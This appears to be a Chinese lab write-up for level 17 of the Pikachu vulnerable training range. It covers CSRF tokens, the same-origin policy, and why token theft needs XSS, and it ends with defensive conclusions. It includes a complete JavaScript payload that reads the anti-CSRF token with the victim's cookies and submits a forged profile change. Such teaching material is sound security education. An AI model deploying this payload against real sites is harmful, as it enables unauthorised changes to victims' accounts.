Pikachu靶场通关笔记(17) — CSRF Token (防范措施与绕过思路)

34次阅读
没有评论

1. 核心考点

  • Anti-CSRF Token:理解 Token 如何通过“不可预测性”阻断攻击。
  • 同源策略 (SOP)本关重点。验证浏览器如何禁止 JS 跨域读取数据。
  • 攻击边界:CSRF 是“只发不收”(跨域发送),而要绕过 Token 必须“能收能看”(同源读取),因此纯 CSRF 无法绕过 Token,除非结合 XSS。

2. 实验:脚本位置决定攻击成败

参考链接:https://juejin.cn/post/7540877562266435620?searchId=20251216184021F6A571E27C3FDAB094B2#heading-2

实验脚本核心逻辑

  1. GET 请求修改页面。
  2. 读取响应 HTML。
  3. 提取 token
  4. 携带 token 发送修改请求。

2.1 实验 A:远程攻击 (模拟真实 CSRF)

  • 部署位置:攻击者服务器 (hzx123.xyz)。
  • 结果 失败
  • 原因 :受害者访问脚本时,JS 向 localhost:8899 (Pikachu) 发起请求。虽然请求发送成功,但由于hzx123.xyzlocalhost:8899 不同源 ,浏览器触发 SOP 拦截,禁止 JS 读取响应内容。脚本拿不到 Token,攻击终止。
    结论:SOP 完美防御了跨域提取 Token 的行为。
Pikachu 靶场通关笔记(17) — CSRF Token (防范措施与绕过思路)

2.2 实验 B:同源攻击 (模拟 XSS / 内部文件)

  • 部署位置:Pikachu 服务器本地目录 (/vul/csrf/csrf/csrftoken.html)。
  • 结果 成功
  • 原因 :脚本与目标接口处于 同一协议、同一域名、同一端口 。浏览器判定为 同源 ,允许 JS 读取响应内容。脚本成功提取 Token 并完成攻击。
    结论:这证明了该脚本本质上是一个 XSS 利用脚本,而非 CSRF 脚本。只有在同源(或存在 XSS)的情况下才能生效。
Pikachu 靶场通关笔记(17) — CSRF Token (防范措施与绕过思路)
Pikachu 靶场通关笔记(17) — CSRF Token (防范措施与绕过思路)

3. 实验代码 (XSS/ 同源利用 Payload)

此代码仅在脚本与目标同源(或通过 XSS 注入)时有效,没有 xss 注入,一定需要同源才行:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>CSRF Token Attack via Fetch</title>
    <style>
        pre {background: #f4f4f4; padding: 10px; border: 1px solid #ddd; max-height: 400px; overflow: auto;}
        .error {color: red;}
        .success {color: green;}
        .info {color: blue;}
    </style>
</head>
<body>
    <h1>CSRF Token Attack via Fetch</h1>
    <p class="info"><strong>说明:</strong>请确保已登录 Pikachu 平台,以便浏览器自动携带 PHPSESSID Cookie。页面加载后将自动获取 CSRF Token 并发起请求。</p>
    <p><strong>状态:</strong> <span id="status">等待请求...</span></p>
    <p><strong>获取的 CSRF Token:</strong> <span id="token" class="error">未获取 </span></p>
    <p><strong>目标 GET 请求 URL:</strong> <a id="redirect_url" href="#">未生成 </a></p>
    <h2>响应内容(调试用)</h2>
    <pre id="response_html"></pre>

    <script>
        window.onload = function() {
            const targetUrl = 'http://localhost:8899/vul/csrf/csrftoken/token_get_edit.php';
            const tokenSpan = document.getElementById('token');
            const redirectLink = document.getElementById('redirect_url');
            const statusSpan = document.getElementById('status');
            const responseHtml = document.getElementById('response_html');

            statusSpan.textContent = '正在请求目标页面...';

            fetch(targetUrl, {
                method: 'GET',
                credentials: 'include' // 携带 Cookie
            })
            .then(response => {if (!response.ok) {throw new Error(`HTTP 状态码: ${response.status} (${response.statusText})`);
                }
                return response.text();})
            .then(html => {
                responseHtml.textContent = html; // 显示响应 HTML

                // 提取 Token
                const parser = new DOMParser();
                const doc = parser.parseFromString(html, 'text/html');
                const tokenInput = doc.querySelector('input[name="token"]');
                let token = tokenInput ? tokenInput.value : '';

                if (token && /^[a-zA-Z0-9]+$/.test(token)) {
                    tokenSpan.textContent = token;
                    tokenSpan.className = 'success';
                    statusSpan.textContent = 'Token 提取成功,正在发起请求...';

                    // 构造 GET 请求 URL
                    const baseUrl = 'http://localhost:8899/vul/csrf/csrftoken/token_get_edit.php';
                    const params = {
                        sex: 'boy',
                        phonenum: '15988767673',
                        add: '444444',
                        email: 'kobe@pikachu.com',
                        token: token,
                        submit: 'submit'
                    };
                    const queryString = new URLSearchParams(params).toString();
                    const redirectUrl = `${baseUrl}?${queryString}`;
                    redirectLink.href = redirectUrl;
                    redirectLink.textContent = redirectUrl;

                    // 自动重定向
                    window.location.href = redirectUrl;
                } else {
                    tokenSpan.textContent = token ? 'Token 格式无效' : '未找到 Token,可能未登录或页面无 Token';
                    statusSpan.textContent = 'Token 提取失败';
                }
            })
            .catch(error => {
                tokenSpan.textContent = '获取页面失败:' + error.message;
                statusSpan.textContent = '请求失败,可能未登录或跨域限制';
                responseHtml.textContent = '错误:' + error.message;
                console.error('Fetch error:', error);
            });
        };
    </script>
</body>
</html>

4. 辨析:为什么 “CSRF Token Tracker” 插件不行?

网上常提到的 Burp Suite 插件 CSRF Token Tracker 在此场景下 无法用于攻击受害者,原因如下:

  1. 运行环境不同
    • 插件 :运行在 攻击者 的电脑上的 Burp Suite 里。
    • 攻击 :发生在 受害者 的浏览器里。
  2. 控制权限制
    • 插件只能控制 发出的流量(用于方便你自己进行渗透测试或暴力破解)。
    • 插件无法安装到受害者的浏览器里,也无法替受害者去获取 Token。
  3. 适用场景
    • CSRF Token Tracker = 测试辅助工具(帮你省去手动复制粘贴 Token 的麻烦)。
    • JS Fetch 脚本 = XSS 攻击载体(利用受害者的浏览器去窃取 Token)。

5. 防御总结

通过本关的实验,我们可以得出防御 CSRF 的终极公式:

  1. Token 是核心:随机的 Token 确保攻击者无法通过简单的表单构造出合法请求。
  2. SOP 是基石:同源策略确保攻击者无法通过 JS 跨域读取 Token。
  3. XSS 是破绽:一旦存在 XSS 漏洞,攻击者可以注入上述 JS 代码,从而在同源环境下绕过 Token 防御。

一句话总结:Token 能防 CSRF,但 Token 防不住 XSS。

正文完
 0
评论(没有评论)